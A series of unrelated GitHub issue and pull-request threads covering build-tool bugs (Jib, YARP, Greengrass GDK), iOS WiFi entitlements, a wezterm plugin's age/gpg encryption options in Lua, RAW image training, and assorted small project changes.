hi @rileyli Thanks for your contribution, but I think just refactor the naming style is not very necessary and it is not "typo". cc @zentol @tillrohrmann

Thanks for your contribution @rileyli. Even though this change seems rather trivial I would like to discourage these kind of contributions. The problem is that it does not add much additional value at the cost of introducing subtle bugs (e.g. variable name clashes). Therefore, I would like to ask you to close this PR.


Cannot find JAR in outputDirectory path when using spring-boot-maven-plugin

Environment:

Jib version: 3.1.2
Build tool: Maven 3.6.3
OS: mac OS 10.15.7(19H2)

Description of the issue:
When I build(or dockerBuild) with below configuration shows up this error message.
Obtaining project build output files failed; make sure you have packaged your project before trying to build the image. (Did you accidentally run "mvn clean jib:build" instead of "mvn clean package jib:build"?)
<plugin>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-maven-plugin</artifactId>
  <version>2.3.2.RELEASE</version>
  <configuration>
    <outputDirectory>lib</outputDirectory>
  </configuration>
</plugin>

$ mvn clean package jib:dockerBuild
...
Caused by: java.io.IOException: Obtaining project build output files failed; make sure you have packaged your project before trying to build the image. (Did you accidentally run "mvn clean jib:build" instead of "mvn clean package jib:build"?)
...
Caused by: java.nio.file.NoSuchFileException: /path/to/my-project/target/my-application.jar.original

Build success when remove configuration.outputDirectory.
It seems not read outputDirectory configuration if spring-boot-maven-plugin is used.
(I guessed by looking at this code.)
Is it intended behavior?
Expected behavior:
Build success when using outputDirectory in spring-boot-maven-plugin
Steps to reproduce:

use spring-boot-maven-plugin
set outputDirectory
mvn clean package jib:dockerBuild

@hellozin Thank you for the report! We are trying to reproduce the issue.

It's a bug (or limitation) in that the output directory is unaccounted for. Note that Jib doesn't use the repackaged Spring Boot fat JAR but a standard thin-JAR packaged by maven-jar-plugin. The current code is to read Spring Boot configuration is just to correctly find the path for the thin-JAR. Some workarounds:

Don't do "packaged" containerization. That is, remove <containerizingMode>packaged. We normally recommend non-packaged mode unless there is a specific reason, because the non-packaged mode builds a bit more optimized image.
Don't set <outputDirectory> in spring-boot-maven-plugin.
Set <outputDirectory> in maven-jar-plugin to match the directory set in spring-boot-maven-plugin, e.g.,    <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-jar-plugin</artifactId>
      <configuration>
        <outputDirectory>lib</outputDirectory>
      </configuration>
    </plugin>

I would like to work on this issue.

@RandyLovevivi Sure, we would love to have some contributions from the society. Let us know if you need any help!

Hey @RandyLovevivi, are you still working on this issue?

@AnvarKhatik there hasn't been much activity on this issue for a while so we're happy to review your contribution if you're interested in taking it on.

@mpeddada1 @ddixit14 can I pick up this issue ?


ArgumentException: Invalid destination prefix. (Parameter 'destinationPrefix')

Hello
I get this error after upgrading my webforms project, using .NET Upgrade Assistant
ArgumentException: Invalid destination prefix. (Parameter 'destinationPrefix')
WebApp .net framework 4.8
to
WebAppCore  .net 8.0
Yarp.ReverseProxy 2.1.0
Can someone knows why?
Greetings
Ruben

The error indicates that the YARP configuration is incorrect - the destination wasn't configured with a proper address (e.g. it was an empty string).
Can you check that ProxyTo is configured correctly in your launchSettings.json / appsettings.json?
You can also print app.Configuration["ProxyTo"] to see what the value was set to at runtime.


(gdk): component publish fails if the component does not have any artifacts

Describe the bug
I have a component with no artifacts, just a recipe. When I use gdk component publish, the command fails saying
[Errno 2] No such file or directory: '/Users/xxx/Projects/comp/greengrass-build/recipes/recipe.yaml'

To Reproduce
Steps to reproduce the behavior. If possible, provide a minimal amount of code that causes the bug.
Create a compoent with only a recipe, no artifacts. In the gdk-config.json file, provide a noop custom build command (eg date) so the gdk component build succeeds.
Call gdk component publish
Expected behavior
A clear and concise description of what you expected to happen.
Component is successfully published
Actual behavior
Tell us what actually happened.
Error
[Errno 2] No such file or directory: '/Users/xxx/Projects/comp/greengrass-build/recipes/recipe.yaml'

Environment

OS: [e.g. Ubuntu 20.04] (If possible, provide output of uname -a)
JDK version:
Nucleus version:

Additional context
Add any other context about the problem here.
E.g. what is the impact of the bug?

Hi,
This is the expected behavior.
If the customer chooses custom build in the config file, we expect customers to modify/build the recipes and artifacts as needed and have them available in the greengrass-build folder by the end of the build command execution.
These will later be used by the publish command.

Hi,
AWS Public Documentation for GDK CLI is updated with more details related to custom build command.


Doesnot work on iOS 18.2

I have tried the demo app on iOS physical device. Doesnot work as i am getting no network info. Cannot connect to wifi as well.
Tried on latest iOS 18.2 and confirm all permissions were granted and provisioning profile have all the permission entitlements that are required

What is the target version for your application? Is this issue specific to iOS 18.2, or are you experiencing it on other versions as well? I previously tested on iOS 18.1 and encountered no issues with connecting or retrieving network information.

I have two physical devices and both are on iOS 18.2 and I tried on that and I used the sample app that you have.
My development provisioning profile have all the required persmissions for WIFI but do you think if I am missing anything else ?

Also somehow i cannot install demo app when entitlements.plist exist. And when I delete it works

entitlements.plist is required in order to app work correctly.
Pre-requisites as listed here

You must have a paid developer account
You must have a physical Device
You must enable Wifi-Entitlement by going to Target->Signing & Capabilities and adding Access WiFi Information or adding com.apple.developer.networking.wifi-info  directly to your entitlements file
Allow location usage access from user


Allow to wait and exit after command execution

What type of PR is this?
/kind feature

What this PR does / why we need it:
This PR allows us to stop test after execution of command.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

Additional documentation e.g., KEPs (Kubernetes Enhancement Proposals), usage docs, etc.:

/assign @mborsz

/ok-to-test
/lgtm
/approve


Idea: Another scanlist

Hi 1O11.
Sometimes there's a need to use three (more?) scanlists. Is it possbile to add code/EEPROM space for another scanlist?

I can suggest using the third option : no scan list..
in order to scan the other memories without options when the SCAN LIST item is OFF..

I can suggest using the third option : no scan list.. in order to scan the other memories without options when the SCAN LIST item is OFF..

I've added an 'ALL' option to the scanlist - all channels get scanned


27 - add event emitters

Closed prior PR and reopened to avoid merge conflicts.

@MLFlexer
I'm noticing the scope of this PR is a bit too big.
Once you're ready and merge https://github.com/MLFlexer/resurrect.wezterm/pull/34 I think I should split this into 2 PRs

Allow user to set encryption method, which would look something like the following with accompanying doc updates (greatly reducing the examples in encryption.md). It would also let the user specify an absolute path to their encryption program binary.

--- Additional pub.encryption.method param
---@alias encryption_opts {enable: boolean, method: string, private_key: string | nil, public_key: string | nil, encrypt: fun(file_path: string, lines: string): (boolean), decrypt: fun(file_path: string): string | nil}
pub.encryption = {
	enable = false,
	method = "age", -- set default method to age
	private_key = nil,
	public_key = nil,
	encrypt = function(file_path, lines)
		-- add pub.encryption.method to template string
		local cmd = string.format("%s -r %s -o %s", pub.encryption.method, pub.encryption.public_key,
			file_path:gsub(" ", "\\ "))

		-- use gpg command if gpg
		if pub.encryption.method:find("gpg") then
			cmd = string.format("gpg --batch --yes --encrypt --recipient %s --output %s", pub.encryption.public_key,
				file_path:gsub(" ", "\\ "))
		end

		local success, output = execute_cmd_with_stdin(cmd, lines)

		if not success then
			wezterm.log_error("Encryption failed: " .. output)
			return
		end
	end,
	decrypt = function(file_path)
		local success, stdout, stderr
		--use gpg if method is gpg
		if pub.encryption.method:find("gpg") then
			success, stdout, stderr = wezterm.run_child_process({ pub.encryption.method, "--batch", "--yes", "--decrypt",
				file_path })
		else
			success, stdout, stderr = wezterm.run_child_process({ pub.encryption.method, "-d", "-i", pub.encryption
				.private_key, file_path })
		end
		if not success then
			wezterm.log_error("Decryption failed: " .. stderr)
			return
		end
		if is_windows then
			stdout = stdout:gsub('`"', '"'):gsub("\\\\", "\\"):gsub("`n", "\n"):gsub("`r", "\r")
		end
		return stdout
	end,
}

Add event emitters, which will involve wezterm.emit() additions sporadically throughout the project, along with README.md updates. I'll need to do some further testing with the execute_cmd_with_stdin(cmd, input) func to see if I can work out a good way to get good stderr readings from io.popen. I've got an idea involving a subsequent read of stdin before the pipe is closed, but haven't tested to see if the idea works yet.

Sounds like a great idea to break it down into managable chunks. Maybe create separate issues for the different part such that it is easier to track
I have also thought about making a separate module(file) resurrect/encryption.lua for the encryption as the code has grown quite a bit.

I have merged #32, so you are free to implement your changes :smile:

Looks great! I have a few comments before merging :smile:

Can i merge now? @joncrangle

Can i merge now? @joncrangle

I was doing some testing on Mac before confirming, and got an invalid escape error.  I just did a push that resolved the error:
local function execute_cmd_with_stdin(cmd, input)
	if is_windows then
		input = input:gsub("\\", "\\\\"):gsub('"', '`"'):gsub("\n", "`n"):gsub("\r", "`r")
	else
		input = input:gsub("\\", "\\\\"):gsub('"', '\"'):gsub("\n", "\\n"):gsub("\r", "\\r")
	end

	if is_windows and #input < 32000 then -- Check if input is larger than max cmd length on Windows
		cmd = string.format('Write-Output -NoEnumerate "%s" | %s', input, cmd)


How about training with 8-bit jpg image?

I just tried to train Sony dataset after converting the raw data into jpg image and found the result quite terrible. So are there any tricks when training 8bit data?
P.S.:
The  channel number of input is 12, which results from packing each channel of rgb into four.

Moreover, how did you pack the rgb data  as input in the experiment?

I tried importing PIL and loading a JPG, converting into RGBA, and putting it through the machinery, and got weird results. I think it's because the algorithm is designed to work on Bayer images (the arrangement of color filters on the pixel array of an image sensor), which is structurally different from a JPG data type.
I'm not sure if there is a way to "Bayerize" the JPG or if that is out of the question due to the irreversable (lossy) JPG compression.
I tried this on a RAW image from my Google Pixel instead and didn't get great results. I think adapting this process to different camera requires changing some of the constants around picture resolution and the values used when subtracting the black. Additionally as stated in the paper, without a baseline image, the amplification ratio will be unknown.
I'm not exactly an expert on this topic, but these are my thoughts after spending a couple hours trying to SIR some of my own photos.

@ArsenLuca The input is assumed to be the RAW data instead of the rgb data. Do not feed the jpg or png images to the model. Please see the reasons here: #2

@cchen156 Thanks


Reduce duplication around TransferMetadata

Here:
https://github.com/OpenCyphal-Garage/libcyphal/blob/5e652de5cb6c9172b833fb8426ba619ce99c4963/include/libcyphal/transport/types.hpp#L58-L79
We discussed that inheritance is not a good choice here, so perhaps we should use composition. After some consideration I realized that the current arrangement will require much manual tinkering in the presentation layer and above.
struct TransferMetadata final
{
    TransferId transfer_id{};
    TimePoint  timestamp;
    Priority   priority{};
};

struct MessageTransferMetadata final
{
    TransferMetadata       base;
    cetl::optional<NodeId> publisher_node_id;
};

struct ServiceTransferMetadata final
{
    TransferMetadata base;
    NodeId           remote_node_id{};
};

Closing as it has been fixed by pr #374


Tracking in the background?

Thanks for this great plugin. One question, is there a way to get it to work in the background? I can't find anywhere in the API documentation that its not allowed, so I'm assuming this functionality is possible?

Hi there! Glad you're enjoying it!
I haven't tried it myself, but don't see why not. You would have to set up your Unity app to run in the background.
This thread is quite old, but might be a place to start: https://forum.unity.com/threads/how-do-i-get-the-audio-running-in-background-ios.319602/


helm: add missing azure.usePrimaryAddress in values template

The values.yaml check introduced in commit 6a1ed23547a5 ("Makefile:
Check values.yaml for modifications") complains about the
azure.usePrimaryAddress value not being in values.yaml.tmpl. That value
was introduced in commit 69be90059f9b ("Support backward compatibility
for --azure-use-primary-address in helm") which was implemented while
check was not yet in place and thus not caught in CI.

See https://github.com/cilium/cilium/runs/7110301417?check_suite_focus=true for a failure of said check on recent master.

The respective test passed (https://github.com/cilium/cilium/runs/7111658291?check_suite_focus=true) and one owner approved. Given the test is currently broken on master I've marked this as ready to merge.


Access the WDL and input/output bindings for a submission

A user must understand “what was the effect of this workflow on my project data?” in order to determine analyses to perform next.
Therefore, for each run submission:

The user should be able to inspect the WDL to understand in greater detail what was run
The user should be able to inspect the output bindings to understand which elements of their data model were created by the workflow.

See read-only view of submission details in InVision.
https://projects.invisionapp.com/d/main#/console/13746874/304977208/preview
Note we may not have the information from the APIs to show the 'Outputs' view in the main table. We will punt on this for now
https://projects.invisionapp.com/d/main#/console/13746874/304976569/preview
Tickets to add endpoints to fetch the relevant info:
https://broadworkbench.atlassian.net/browse/CA-33
https://broadworkbench.atlassian.net/browse/CA-34

Waiting on endpoints from Cloud Accounts team.

This ticket is waiting for Q1.

@bradtaylor this has been blocked for almost a year. If it's still important to work on, any objections to moving it to the backlog?